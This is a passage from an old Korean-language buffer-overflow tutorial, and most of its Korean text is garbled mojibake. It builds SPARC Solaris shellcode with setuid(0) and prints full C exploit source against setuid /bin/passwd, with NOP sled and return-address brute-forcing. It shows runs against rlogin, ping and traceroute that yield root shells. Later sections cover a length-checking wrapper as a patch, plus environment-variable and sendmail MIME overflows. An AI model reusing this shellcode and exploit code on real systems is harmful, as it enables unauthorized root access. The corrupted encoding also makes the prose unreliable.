ÇÔ¼öÀÇ ÀÎÀÚ·Î ¸¹ÀÌ µé¾î°£´Ù. %o0¸¦ clrÇÑ °ÍÀº %o0¿¡ 0À» ³Ö´Â´Ù´Â ÀǹÌÀÌ´Ù. ±×¸®°í ³ª¼­ _setuid¸¦ ºÒ·¶´Âµ¥, _setuid¸¦ »ìÆ캸´Ï mov 0x17, %g1°ú ta 8·Î setuid()¸¦ callÇÏ°í ÀÖ´Ù. ÀÌÁ¦ ÀÌ°ÍÀ» machine code·Î »Ì¾Æ³»±â¸¸ ÇÏ¸é µÇ´Âµ¥. --------(*) (gdb) x/wx 0x10154 0x10154 : 0x90102000 (gdb) x/wx 0x1022c 0x1022c <_setuid>: 0x82102017 (gdb) 0x10230 <_setuid+4>: 0x91d02008 (gdb) --------(*) °¢°¢ÀÇ machine code¸¦ º¸´Ï, clr %o0°¡ Áß°£¿¡ 000 ÀÌ ¼¼°³³ª ºÙ¾îÀÖ´Ù. µÚÀÇ µÎ°³ÀÇ 0Àº ºÙ¾î¼­ '\0'À̶ó´Â ÇϳªÀÇ Ä³¸¯ÅÍ·Î ÀÛ¿ëÀ» ÇÏ°Ô µÇ¹Ç·Î, ÀÌ°ÍÀº SEED·Î½áÀÇ ÀÚ°ÝÀÌ ¾ø´Ù. ¶ÇÇÑ ta 8 À» ÇÒ¶§ Áö³­ ¹ø¿¡ xor %l3, %l3, %l3 ¹× inc %l3¸¦ ÇÑ °ÍÀ» ±â¾ïÇÒ °ÍÀÌ´Ù. ÀÌ°Í ¶ÇÇÑ ºüÁ®¼­´Â ¾ÈµÇ¸ç, clr %o0¸¦ xor %l3, %l3, %l3 ¿¡´Ù°¡ and %l3, %l3, %o0·Î ´ëüÇϱâ·Î ÇÑ´Ù. ±×·¯¸é À̵é code¸¦ ½ÇÁ¦·Î assembly·Î ¸¸µé¾î¼­ ÄÄÆÄÀÏ Çغ¸µµ·Ï ÇÑ´Ù. -------(*) .global main main: xor %l3, %l3, %l3 and %l3, %l3, %o0 inc %l3 mov 0x17, %g1 ta 8 --------(*) À§ÀÇ assembly code´Â setuid(0); ¸¦ ¼öÇàÇÒ ¼ö ÀÖ´Â °ÍÀÌ´Ù. ÀÌ°ÍÀ» ÄÄÆÄÀÏ ÇÏ¿© gdb·Î ½ÇÁ¦ ³»¿ëÀ» È®ÀÎÇϵµ·Ï ÇÑ´Ù. ---------(*) % as test.a -o test.o % gcc test.o % gdb a.out (gdb) disassemble main ^^^^^^^^^^^^^^^ Dump of assembler code for function main: 0x10638
: xor %l3, %l3, %l3 0x1063c : and %l3, %l3, %o0 0x10640 : inc %l3 0x10644 : mov 0x17, %g1 0x10648 : ta 8 End of assembler dump. (gdb) x/wx main ^^^^^^^^^ 0x10638
: 0xa61cc013 (gdb) 0x1063c : 0x900cc013 (gdb) 0x10640 : 0xa604e001 (gdb) 0x10644 : 0x82102017 (gdb) 0x10648 : 0x91d02008 (gdb) ---------(*) ½ÇÁ¦·Î ÄÄÆÄÀÏÇÏ¿© gdb·Î µ¹¸° ÈÄ¿¡ À̵éÀÇ machine code¸¦ »Ì¾Æ³»¾ú´Ù. À̵éÀÇ ÀÏ·ÃÀÇ °úÁ¤ÀÌ ºÒ¸íÈ® °æ¿ì¿¡´Â ÀÌÀüÈ£¸¦ ÀÚ¼¼È÷ ÀоîÁֱ⠹ٶõ´Ù. ÀÌÁ¦ À§ÀÇ code¸¦ ¾Õ¿¡ ¸¸µé¾ú´ø seed code À­ºÎºÐ¿¡ µ¤¾î¼­ ³Öµµ·Ï ÇÑ´Ù. ±×·¡¼­ ¸¸µé¾îÁø seedÄÚµå´Â ´ÙÀ½°ú °°´Ù. ---------(*) /* seed code */ u_char seed[] = /* Ãß°¡µÈ ºÎºÐ */ "\xa6\x1c\xc0\x13" "\x90\x0c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x17" "\x91\xd0\x20\x08" /* ¿ø·¡ ºÎºÐ */ "\x2d\x0b\xd8\x9a" "\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda" "\x90\x0b\x80\x0e" "\x92\x03\xa0\x08" "\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10" "\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc" "\xa6\x1c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x3b" "\x91\xd0\x20\x08" ; ---------(*) ÀÌ°ÍÀ» ÀÌ¿ëÇؼ­ ¾Õ¿¡¼­ ¸¸µé¾ú´ø shellÀ» ¶ç¿ì´Â code¸¦ ´Ù½Ã Çѹø ½ÇÇàÇغ¸µµ·Ï ÇÏ°Ú´Ù. ---------(*) % gcc gethost.c gethost.c: In function `main': gethost.c:44: warning: assignment from incompatible pointer type gethost.c:54: warning: assignment from incompatible pointer type % wile 0 À߸øµÈ ¸í·É(IllegalInstruction) 80 ¼¼±×¸àÅ×ÀÌ¼Ç °áÇÔ(Segmentation Fault) 160 À߸øµÈ ¸í·É(Illegallstruction) 240 À߸øµÈ ¸í·É(Illegal Instruction) 320 À߸øµÈ ¸í·É(IllegalInstruction) 400 À߸øµÈ ¸í·É(Illegal Instruction) 480 À߸øµÈ ¸í·É(IllegalInstruction) 560 À߸øµÈ ¸í·É(Illegal Instruction) 640 À߸øµÈ ¸í·É(IllegalInstruction) 720 À߸øµÈ ¸í·É(Illegal Instruction) 800 ½Ã½ºÅÛ È£Ãâ ¿À·ù(BadSystem Call) 880 # --------(*) ÀÚ µåµð¾î root shellÀ» ¶ç¿ì´Âµ¥ ¼º°øÇÏ¿´´Ù. ´Ù¸¥ solaris5.5 machine¿¡¼­ ¶ß´Â À§Ä¡°¡ ´Ù¸¦ ¼ö ÀÖÀ»Áö¾ðÁ¤ ¼öÇàÀÌ µÇ¸®¶ó°í ¹Ï´Â´Ù. [ Solaris5.5 ´Ù¸¥ ¿¹Á¦µé ] ¿©±â¿¡¼­ Àç¹Ì³­ »ç½ÇÀÌ ÀÖ´Ù. ÀÌ ¹ö±×´Â gethostbyname()À» overflow½ÃÅ°´Â °ÍÀ̹ǷÎ, ÀÌ ÇÔ¼ö¸¦ »ç¿ëÇÏ´Â ´Ù¸¥ ÇÁ·Î±×·¥µé ¸ðµÎ°¡ ¹ö±×°¡ ÀÖ´Ù´Â ¶æÀÌ µÈ´Ù. ±×·¯¸é °£·«ÇÏ°Ô ³ª¸¶ gethostbyname()À» ÀÌ¿ëÇÏ´Â ping, tracerouteµî ¶ÇÇÑ ÅëÇÏ´ÂÁö È®ÀÎÀ» Çغ¸µµ·Ï ÇÑ´Ù. ¿©±â¿¡¼­ ¹Ù²Ù¾î ÁÖ¾î¾ß ÇÏ´Â °ÍÀº execl¿¡¼­ "/usr/bin/rlogin"°ú "rlogin"À» ÀûÀýÇÑ ¸í·ÉÀ¸·Î ´ëüÇÏ´Â °ÍÀÌ´Ù. Çö ÀÌ ½Ã½ºÅÛ¿¡¼­´Â traceroute´Â /usr/local/bin ¿¡ ÀÖ°í, pingÀº /usr/sbin¿¡ ÀÖ´Ù. ÀÌ°ÍÀ» ³Ö¾î¼­ ½ÇÁ¦·Î ±¸µ¿ÇÑ ½ÇÇ࿹ÀÌ´Ù. ----(*) % tail -5 ping.c } execl("/usr/sbin/ping", "ping",buf, NULL); } % gcc ping.c ping.c: In function `main': ping.c:44: warning: assignment from incompatible pointer type ping.c:54: warning: assignment from incompatiblepointer type % wile 0 À߸øµÈ ¸í·É(Illegal Instruction) 80 À߸øµÈ ¸í·É(IllegalInstruction) 160 À߸øµÈ ¸í·É(Illegal Instruction) 240 À߸øµÈ ¸í·É(IllegalInstruction) 320 À߸øµÈ ¸í·É(Illegal Instruction) 400 À߸øµÈ ¸í·É(IllegalInstruction) 480 À߸øµÈ ¸í·É(Illegal Instruction) 560 # ----(*) pingÀ¸·Î ´ëüÇÏ°í µ¹¸®ÀÚ 560 byte¸¦ jumpÇϸ鼭 root shellÀÌ ¶¹´Ù. ----(*) % tail -5 traceroute.c *(putaddr++) = retaddr; } execl("/usr/bin/traceroute","traceroute", buf, NULL); } % gcc traceroute.c traceroute.c: In function `main': traceroute.c:44: warning: assignment from incompatiblepointer type traceroute.c:54: warning: assignment from incompatible pointer type arirang:/home/seoro/work/overflow-basics/maga% 0 À߸øµÈ ¸í·É(IllegalInstruction) 80 À߸øµÈ ¸í·É(Illegal Instruction) 160 À߸øµÈ ¸í·É(IllegalInstruction) 240 À߸øµÈ ¸í·É(Illegal Instruction) 320 À߸øµÈ ¸í·É(IllegalInstruction) 400 À߸øµÈ ¸í·É(Illegal Instruction) 480 # -----(*) traceroute·Î ´ëü¸¦ ÇÏÀÚ 480byte¸¦ jumpÇϸ鼭 root shellÀÌ ¶¹´Ù. (ÁÖÀÇ) ¸¸ÀÏ ´ç½ÅÀÇ ½Ã½ºÅÛÀÌ ÀÌ ¹ö±×¿¡ ´ëÇؼ­ ¹®Á¦°¡ ÀÖÀ» °æ¿ì, »¡¸® setuid¸¦ ¾ø¾Ö½Ê½Ã¿À. ¾ø¾Ö¾ß ÇÒ °ÍµéÀº rlogin, traceroute, ping µîÀÔ´Ï´Ù. °¢ overflow°¡ µÇ´Â À§Ä¡°¡ ´Ù¸¥ °ÍÀº traceroute, ping, rlogin µîÀÇ ³»ºÎ±¸Á¶°¡ ´Ù¸£±â ¶§¹®ÀÌ´Ù. ¾î·µç wileÀ» ÀÌ¿ëÇÏ¿© automationÀ» ÇÏ¿´À¸¹Ç·Î, À̵éÀÇ Å©±â µîÀº ¹®Á¦µÇÁö ¾Ê´Â´Ù. ±×·¯¸é gethostbyname()À» Áö³ªÃļ­ »õ·Î¿î ¹ö±×¿¡ ´ëÇؼ­ ¾Ë¾Æº¸°Ú´Ù. ÃÖ±Ù¿¡ /bin/passwd ¿¡ overflow°¡ Á¸ÀçÇÑ´Ù´Â º¸°í°¡ µé¾î¿Ô´Ù. passwd seoro ÀÌ·¯ÇÑ ½ÄÀ¸·Î passwd¸¦ ÁöÁ¤Çϴµ¥, À̶§ ¹®Á¦´Â À¯Àú°¡ Á¸ÀçÇÏÁö ¾Ê´Â °æ¿ì, error message¸¦ ¸¸µå´Âµ¥, gethostbyname()°ú µ¿ÀÏÇÑ ¹æ½ÄÀ¸·Î bound check¸¦ ÇÏÁö ¾Ê´Â´Ù´Â Á¡ÀÌ´Ù. À§¿¡¼­ Çß´ø ¹æ¹ý´ë·Î ¶È°°ÀÌ Ã³¸®Çغ¸°Ú´Ù. ¸ÕÀú ¸Ç À§¿¡¼­ Çß´ø 'a'¸¦ ³Ö¾î¼­ overflowµÇ´Â À§Ä¡¸¦ ã¾Æº»´Ù. ------(*) .... aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa does not exist. ¹ö½º ¿À·ù(Bus Error) 2112 ------(*) wileÀ» 16°£°ÝÀ¸·Î Çؼ­ µ¹¸° °ÍÀÌ´Ù. ¹Ù·Î ´ÙÀ½ÀÌ 2128ÀÌ ³ª¿ÔÀ¸¹Ç·Î, ÀÌÀüÀÇ °ªÀÎ 2112¿¡¼­ ÀÌ¹Ì overflow°¡ ÀϾ °ÍÀ¸·Î È®ÀÎÇÒ ¼ö ÀÖ´Ù. ±×·¯¸é rloginÀ» overflowÇÑ °Í¿¡¼­ BUF_LENGTH¸¦ 2096À¸·Î º¯°æÇÏ°í, ¾Æ·¡ÀÇ execlºÎºÐÀ» °íÃļ­ ¸¸µé¸é ´ÙÀ½°ú °°Àº source¸¦ ¾òÀ» ¼ö ÀÖ´Ù. ------(*) #include u_char seed[] = "\xa6\x1c\xc0\x13" "\x90\x0c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x17" "\x91\xd0\x20\x08" "\x2d\x0b\xd8\x9a" "\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda" "\x90\x0b\x80\x0e" "\x92\x03\xa0\x08" "\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10" "\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc" "\xa6\x1c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x3b" "\x91\xd0\x20\x08" ; #define NOP 0xa61cc013 #define BUF_LENGTH 2112 #define RET_LENGTH 80 u_long get_sp(void) { __asm__("mov %sp, %i0 \n"); } void main(argc, argv) int argc; char **argv; { char buf[BUF_LENGTH]; u_long *putaddr; u_long retaddr; int index; int i; putaddr = buf; for(i = 0; i < BUF_LENGTH / 4; i++) *(putaddr++) = NOP; index = BUF_LENGTH - RET_LENGTH - strlen(seed); for(i = index; i < (index + strlen(seed)); i++) buf[i] = seed[i -index]; putaddr = buf + BUF_LENGTH - RET_LENGTH; retaddr = get_sp(); retaddr += 112; retaddr -= atoi(argv[1]); for(i = 0; i < (RET_LENGTH / 4); i++) { *(putaddr++) = retaddr; } execl("/usr/bin/passwd", "passwd", buf, NULL); } ------(*) À§ÀÇ °ÍÀ» ÄÄÆÄÀÏÇÑ ÈÄ wileÀ» µ¹·Áº¸¸é ´ÙÀ½°ú °°´Ù. ------(*) 3440 passwd: a- Ø¢/ ÜÚ íË¿ðݳ¿ø¾ß¿ü ;¿ðîæ¸îHîæ¸îæ¸îæ¸îæ¸îæ¸îæ¸îæ¸îæ¸îæ¸îæ¸îæ¸îæ¸îæ¸îæ¸îîHîæ¸îæ¸îæ does not exist. À߸øµÈ ¸í·É(Illegal Instruction) 3472 passwd: a- Ø¢/ ÜÚ íË¿ðݳ¿ø¾ß¿ü ;¿ðîæ(îæîæîæîæîæîæîæîæîæîæîæîæîæîæîî(îæîæîæ does not exist. $ -----(*) ¾ù, 3472¿¡¼­ shellÀÌ ¶¹´Ù. ÀÌ°ÍÀ¸·Î È®½ÇÈ÷ overflow bug°¡ ÀÖ´Ù´Â °ÍÀÌ È®ÀÎµÈ ¼ÀÀε¥, ¹®Á¦´Â ¿Ö"$"À̳Ĵ °ÍÀÌ´Ù. ±×·¯³ª, ±× ¹®Á¦Á¡Àº °£´ÜÇÏ´Ù. À§¿¡ Ãß°¡µÈ setuid(0); ºÎºÐ ¹Ù·Î ´ÙÀ½ÀÇ ºÎºÐÀ¸·Î jumpingÀ» ÇÑ ÀÌÀ¯ÀÌ´Ù. ±×·¯¹Ç·Î À̹ø¿¡ °É·Á³ª¿Â °ÍÀ» ³Ñ°Ü º¸ÀÚ. ------(*) $ 3504 passwd: a- Ø¢/ ÜÚ íË¿ðݳ¿ø¾ß¿ü ;¿ðïòïòïòïòïòïòïòïòïòïò does not exist. # ------(*) Ctl-D¸¦ ´©¸£¸é °£´ÜÈ÷ shellÀ» ³ª°¡°Ô µÇ´Âµ¥, wileÀº °è¼Ó µ¹°í ÀÖÀ¸¹Ç·Î, ±× ´ÙÀ½ÀÎ 3504ÀÇ Å©±â¸¸Å­À» JumpingÀ» Çß´Ù. (ÇöÀç wile¿¡¼­ step¼ö´Â 32ÀÌ´Ù). ±×·¯ÀÚ ¿øÇß´ø ´ë·Î"#"ÀÌ ³ªÅ¸³µ´Ù. ÀÌ°ÍÀ¸·Î ¼º°øÀÌ´Ù. --------(*) # id uid=0(root) gid=100(wheel) # ---------(*) ½ÇÁ¦·Î id¸¦Ã¼Å©Çغ¸¸é root¶ó´Â °ÍÀ» È®ÀÎ ÇÒ ¼ö ÀÖ´Ù. ÀÌÁ¦ È®ÀÎÇÏ¿´À¸´Ï wileÀÇ »óÅ¿¡¼­ ºüÁ®³ª°£´Ù. Ctl-Z ¸¦ ´©¸£¸é ÀÏ´ÜÀº stopÀÌ µÇ´Âµ¥, ¿©±â¿¡¼­ kill %À» µÎ¹øÇØÁÖ¸é ¾Ë¾Æ¼­ ºüÁ®³ª°£´Ù. (ÁÖÀÇ) ¸¸ÀÏ ´ç½ÅÀÇ È£½ºÆ®°¡ ÀÌ ¹ö±×¿¡ ´ëÇؼ­ ¹®Á¦°¡ ÀÖ´Â °æ¿ì, °ðÀÌ¾î ³ª¿Ã ÆÐÄ¡ ¹æ¹ýÀ» ¼÷ÁöÇÏ°í ÆÐÄ¡¸¦ ÇϽʽÿÀ. [ Argument overflow Patch¹ý ] À§ÀÇ ¿¹Á¦µéÀº ¸ðµÎ°¡ Argument overflowµéÀÌ´Ù. ¹°·Ð buffer overflowÀÇ ÀÏÁ¾ÀÌÁö¸¸, ÀÌ °ÍÀº argument·Î ³Ñ°ÜÁÖ´Â °ªÀ» overflow½ÃÅ°´Â Á¾·ù¶ó´Â °ÍÀÌ´Ù. overflow¹æ¹ýÀº ÀÌ°Íµé ¿Ü¿¡µµ data overflow ¹× VARIABLE overflow µîÀÇ Á¾·ù°¡ Á¸ÀçÇÑ´Ù. ÀÏ´Ü ³ª¸ÓÁö data overflow ¹× VARIABLE overflowÀÇ ¼³¸íÀ» º¸·ùÇÏ°í ¸ÕÀú argument overflowÀÇ ÆÐÄ¡ ¹æ¹ý¿¡ ´ëÇؼ­ ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. ½Ã½ºÅÛÀÇ source¸¦ °®°í ÀÖÁö ¾Ê´Â ÀÌ»ó, ¼Ò½º¸¦ °íÃļ­ ÄÄÆÄÀÏÇÑ´ÙµçÁö ÇÏ´Â ¹æ¹ýÀº ºÒ°¡´ÉÇÏ´Ù. ±×·¸´Ù¸é ¾÷ü(Vendor)·Î ºÎÅÍ ÆÐÄ¡¸¦ ¾ò¾î¼­ ¶Ç´Â »õ·Î¿î ¹öÁ¯ÀÇ ÇÁ·Î±×·¥À» ¾ò¾î¼­ ó¹æÇÏ´Â ¹æ¹ý¹Û¿¡´Â ¾ø´Ù´Â ¾ê±â°¡ µÇ´Âµ¥, ÀÌ Argument overflowÀÇ °æ¿ì´Â Á÷Á¢ ÆÐÄ¡°¡ °¡´ÉÇÏ´Ù. ÀÌ ÆÐÄ¡ ¹æ¹ýÀº AUSCERT¿¡¼­ ¹ßÇ¥µÈ °ÍÀÌ´Ù. ´ÙÀ½ ÇÁ·Î±×·¥Àº overflow_wrapper.c ¶ó´Â ÇÁ·Î±×·¥ÀÌ´Ù. -------(*) #include #include #define MAXARGLEN 16 #define REAL_PROG "/bin/passwd.6555" /* * This wrapper will exit without executing REAL_PROG when * given any command line arguments which exceed MAXARGLEN in length. */ main(argc,argv,envp) int argc; char *argv[]; char *envp[]; { int i; for (i=0; i MAXARGLEN) { fprintf(stderr,"You have exceeded the argument length .. .Exiting\n"); #ifdef SYSLOG syslog(LOG_ERR,"%.32s:possible buffer overrun attack by uid %d\n", argv[0], getuid()); #endif exit(1); } } execve(REAL_PROG, argv, envp); error(oexecve failed"); exit(1); -------(*) À§ÀÇ ÇÁ·Î±×·¥Àº wrapÀ̶ó´Â ¹æ½ÄÀ¸·Î overflow¸¦ ¹æÁöÇÏ´Â °ÍÀÌ´Ù. ¾î¶»°Ô ¼öÇàµÇ´Â ÇÁ·Î±×·¥ÀÎÁö ¸ÕÀú ºÐ¼®À» Çغ¸°Ú´Ù. ½ÇÇàµÇ¸é °¢ argument¸¦ ¹Þ¾Æ¼­ ±×°ÍÀÇ length¸¦ üũÇÑ´Ù. À̶§ À§¿¡¼­ Á¤ÀÇµÈ MAXARGLEN º¸´Ù ´õ ±ä argument¸¦ ¹Þ´Â °æ¿ì, maxlength¸¦ ³Ñ¾ú´Ù°í È­¸é¿¡ Ãâ·ÂÇÏ°í, SYSLOG ¿¡ ±ä argument¸¦ ¹Þ¾Ò´Ù´Â ¸Þ½ÃÁö¸¦ ³²±ä ÈÄ¿¡ ±×´ë·Î ÇÁ·Î±×·¥À» ºüÁ® ³ª°£´Ù. ±×·¯¸é "/bin/passwd"¸¦ "/bin/passwd.6555"¶ó°í ¿Å°Ü³õÀº ÈÄ¿¡ À§ÀÇ ÇÁ·Î±×·¥À» "/bin/passwd"ÀÚ¸®¿¡ ³Ö¾î ³õ´Â´Ù. "/bin/passwd"ÀÇ permissionÀº ¿ø·¡ÀÇ permissionÀ̾ú´ø 6555·Î À¯Áö½ÃÅ°°í, /bin/passwd.6555"´Â 0111·Î ½ÇÇุ °¡´ÉÇϵµ·Ï ¸ÂÃß¾î ³õ´Â´Ù. ÀÚ À§ÀÇ wrapper¸¦ ±ò±â ÀüÀÇ µð·ºÅ丮 »óÅÂ¿Í ÈÄÀÇ »óŸ¦ ºñ±³ÇÏ¸é ´ÙÀ½°ú °°´Ù. ------(*) ((Àü)) % ls -lsa /bin/passwd 32 -r-sr-sr-x 3 root sys 15688 1995³â 10¿ù 25ÀÏ /bin/passwd* ((ÈÄ)) % ls -lsa /bin/passwd 12 -r-sr-sr-x 1 root other 5572 3¿ù 11ÀÏ 11:17 /bin/passwd* 32 ---x--x--x 3 root sys 15688 1995³â 10¿ù 25ÀÏ /bin/passwd.6555* -------(*) Â÷ÀÌÁ¡À» º¸¸é ¿ø·¡ÀÇ passwd¸¦ /bin/passwd.6555·Î ¿Å°Ü³õ¾Ò°í, /bin/passwdÀÚ¸®¿¡ À§ ÇÁ·Î±×·¥À» ÄÄÆÄÀÏ ÇÑ°ÍÀ» ³Ö¾ú´Ù. À§ ÇÁ·Î±×·¥Àº /bin/passwd ÀÚ¸®¿¡ ÀÖ´Ù°¡ passwd¸¦ ¼öÇàÇÏ·Á°í Çϸé, ¸ÕÀú MAX_LENGTH¸¦ üũÇؼ­ argument°¡ ±× length¸¦ ³Ñ´Â °æ¿ì, ¼öÇàÀ» ÁßÁö½ÃÄÑ ¹ö¸°´Ù. syslog()¸¦ Æ÷ÇÔ½ÃÄѼ­, ¸¸ÀÏ ÀÌ·¯ÇÑ ½Ãµµ°¡ ÀÖ´Â °æ¿ì, LOG·Î ³²µµ·Ï À¯µµÇÒ ¼ö ÀÖµµ·Ï ÇÏ¿´´Ù. Â÷ÀÌÁ¡ÀÌ ÀÖ´Ù¸é ¿ø·¡ÀÇ overflow°¡ Á¸ÀçÇÏ´Â /bin/passwd °¡ /bin/passwd.6555·Î ¿Å°Ü°¬´Âµ¥, ÀÌ passwd.6555ÀÇ permissionÀº 0111·Î setuid¹× setgid°¡ ºÙ¾î ÀÖÁö ¾ÊÀº °ÍÀÌ´Ù. ±×·¯¹Ç·Î, ÀÌ ÇÁ·Î±×·¥À» overflowÇصµ shellÀ» ¶ç¿ï Áö¾ðÁ¤ root shellÀº ¶ç¿ï ¼ö°¡ ¾ø´Ù. ±×¸®°í, /bin/passwd¸¦ ¼öÇàÇϸé wrapper°¡ ¹Ù·Î ±×°ÍÀ̹ǷÎ, maxlength°¡ ³Ñ¾î°¡¸é ¼öÇàÀ» ÁßÁöÇÏ°í, ³ÑÁö ¾ÊÀ¸¸é overflow°¡ ¾øÀ¸¹Ç·Î ±×´ë·Î ±× argumentµéÀ» /bin/passwd.6555·Î ³Ñ°ÜÁÖ¾î ¼öÇàÇϵµ·Ï ÇÑ´Ù. ´ÙÀ½Àº passwd wrapper¸¦ ±ñ ÈÄÀÇ ½ÇÇ࿹ÀÌ´Ù. -------(*) % passwd abcdefg passwd: abcdefg does not exist. % passwd abcdefghijklmn passwd: abcdefghijklmn does not exist. % passwd a01234567890123456 You have exceeded the argument length ...Exiting % -------(*) length°¡ MAX¸¦ ³ÑÁö ¾Ê´Â °æ¿ì´Â ±×´ë·Î passwd.6555¸¦ ½ÇÇàÇÏÁö¸¸, À§¿¡¼­ Á¤ÀÇÇÑ maxlength 16À» ³ÑÀº °ÍÀº passwd.6555·Î ³Ñ±â±â Àü¿¡ ¸ÕÀú ¼öÇàÀ» ÁßÁö½ÃÄÑ ¹ö¸°´Ù. ÀÌ¿Í °°Àº ¹æ½ÄÀ¸·Î ¾Õ¿¡¼­ À̾߱â ÇÑ rlogin, ping, traceroute µîµµ ¸ðµÎ ÆÐÄ¡½Ãų ¼ö Àִµ¥, »ç½ÇÀº ÀÌ°ÍÀÌ ÁÁÀº ¹æ¹ýÀº ¾Æ´Ï´Ù. gethostbyname()ÀÌ µç ¸ðµç ÇÁ·Î±×·¥À» ÆÐÄ¡ÇÏ´Â °Í º¸´Ù´Â gethostbyname()ÀÚü¸¦ ÆÐÄ¡ÇÏ´Â °ÍÀÌ °¡Àå È®½ÇÇÑ ¹æ¹ýÀ̸ç, ¼ö°í¸¦ ´ú ¼ö ÀÖ´Ù. À§ÀÇ ÆÐÄ¡¹ýÀº ¾÷ü·Î ºÎÅÍ ÆÐÄ¡°¡ ³ª¿ÀÁö ¾ÊÀº °æ¿ì¿¡ ÇÏ´Â ¹ÌºÀÃ¥À̸ç, ¾÷ü·Î ºÎÅÍ ÆÐÄ¡°¡ ³ª¿À¸é ±×¶§´Â ¾÷üÀÇ ÆÐÄ¡¸¦ ÀÌ¿ëÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ ÇÒ °ÍÀÌ´Ù. [ ±×¿ÜÀÇ overflow attack ¹æ¹ý ] ÇöÀç±îÁö ¾ð±ÞÇÑ °ÍµéÀº Argument overflow attack ¹æ¹ýÀ̾ú´Ù. ±×·¯³ª, ÀÌµé ¹æ¹ý ÀÌ¿Ü¿¡µµ VARIABLE overflow ¹× data overflow¹æ¹ý µîÀÇ Á¸ÀçÇÑ´Ù. * VARIABLE overflow VARIABLE overflow¹æ¹ýÀº shell»óÀÇ ¾î¶² ȯ°æ º¯¼öµéÀ» ÇÁ·Î±×·¥¿¡¼­ ¹Þ¾ÆµéÀÌ°Ô µÉ ¶§ »ý±â´Â ¹®Á¦Á¡ÀÌ´Ù. °¡Àå °£´ÜÇÑ ¿¹·Î X window¿¡¼­ DISPLAY º¯¼ö¸¦ ¸ÂÃß¾î ÁÖ´Â °ÍÀ» »ý°¢ÇØ º¼ ¼ö ÀÖ´Ù. ÀÌ DISPLAY¶ó´Â º¯¼ö¿¡´Â ÇöÀç X¿¡ ÀÇÇؼ­ x programµéÀÌ ¶ã È£½ºÆ®ÀÇ IP¸¦ °¡Áö°Ô µÈ´Ù. À̶§ ÀÌ º¯¼ö¿¡ ¾öû³ª°Ô ±ä ¹®ÀÚ¿­À» ³Ö¾î ³õ´Â´Ù¸é overflow°¡ »ý±æ ¼öµµ ÀÖ´Ù. C ÇÁ·Î±×·¥À¸·Î shellÀÇ VARIABLEÀ» ¹Þ¾ÆµéÀÏ ¶§¿¡´Â getenv()¶ó´Â ÇÔ¼ö¸¦ ÀÌ¿ëÇÑ´Ù. À̶§ getenv()´Â length check¸¦ ÇÏÁö ¾Ê±â ¶§¹®¿¡, getenv¿¡ ÀÇÇؼ­ ¹Þ¾ÆµéÀÎ ¹®ÀÚ¿­À» ±×´ë·Î ÇÁ·Î±×·¥ ³»ºÎ¿¡¼­ »ç¿ëÇÒ ¶§, ½É°¢ÇÑ ¹®Á¦Á¡À» ¾ß±â ÇÒ ¼ö ÀÖ´Ù. ÃÖ±Ù¿¡ ¹®Á¦Á¡À¸·Î µîÀåÇÏ¿´´ø LinuxÀÇ NLSPATH º¯¼ö¸¦ ÀÌ¿ëÇÑ overflow´Â ÀÌ·¯ÇÑ ¹®Á¦Á¡À» ÀÌ¿ëÇÑ °ÍÀ̾ú´Ù. NLSPATH¶ó´Â º¯¼ö¸¦ ÀоîµéÀÌ´Â ÇÔ¼ö Áß "su"¸¦ exploitÇÏ´Â code°¡ ÀÎÅÍ³Ý »ó¿¡ ±×´ë·Î ¹ßÇ¥µÇ¾ú´Ù. * data overflow ÀÌ°ÍÀº application»ó¿¡¼­ µé¾î°¡´Â dataÀÚü¸¦ overflow ½Ãų¶§ÀÇ ¹æ¹ýÀÌ´Ù. ÀϹÝÀûÀÎ argument ¹× VARIABLE overflow¿Í´Â ´Þ¸® ÀÌ°ÍÀº ÇÁ·Î±×·¥ Áß°£¿¡ data°¡ ó¸®µÉ ¶§ÀÇ ¹®Á¦Á¡À» »Ì¾Æ³»´Â °ÍÀ̱⠶§¹®¿¡ Á» ã¾Æ³»±â°¡ ¾î·Á¿î ¸éÀÌ ÀÖ´Ù. °¡Àå Ưº°ÇÑ ¿¹Á¦·Î Sendmail8.8.0¿¡¼­ MIME overflow bug°¡ ³ª¿Ô¾ú´Âµ¥, ÀÌ°ÍÀº MIMEÀÇ mime7to8()ÇÔ¼öÀÇ ¹®Á¦Á¡À¸·Î ÀÎÇؼ­ ³ªÅ¸³­ ¹ö±×ÀÌ´Ù. ´ÙÀ½Àº °£·«ÇÑ ºÎºÐ sourceÀÌ´Ù. ------(*) u_char *obp; char buf[MAXLINE]; u_char obug[MAXLINE]; .... /* quoted-printable */ obp = obuf; while (fgets(buf, sizeof buf, e->e_dfp) != NULL) { if (mime_fromqp((u_char *)buf, &obp, 0, MAXLINE) == 0) continue; putline((char *) obuf, mci); obp = obuf; } -------(*) mime_fromqp()°¡ ³¡ÀÌ "=\n"À¸·Î ³¡³ª´Â °æ¿ì µÎ ij¸¯Å͸¦ ¾ø¾Ö¸é¼­ ´ÙÀ½ ¶óÀÎÀ» ´Ù½Ã ¹Þ¾ÆµéÀÌ°Ô µÈ´Ù. ±×·¯¹Ç·Î, ¸Ç ³¡¿¡ "="¸¦ ÷°¡ÇÏ¸é ¾ó¸¶µçÁö ±ä data¸¦ ¸¸µé¾î ³¾ ¼ö Àִµ¥, ÀÌ·± ½ÄÀ¸·Î ¹®ÀÚ¿­Àº ¹«ÇÑÈ÷ ±æ°Ô ´ÃÀÏ ¼ö ÀÖ´Â ¹Ý¸é output bufferÀÇ length´Â MAXLINEÀ¸·Î °áÁ¤µÇ¾î ÀÖÀ¸¹Ç·Î overflow°¡ ¹ß»ýÇÏ°Ô µÈ´Ù. À̶§ overflow°¡ µÇ¸é¼­ stackÀÇ À­ºÎºÐÀ» µ¤°Ô µÇ°í, À̶§ ¿ì¸®°¡ 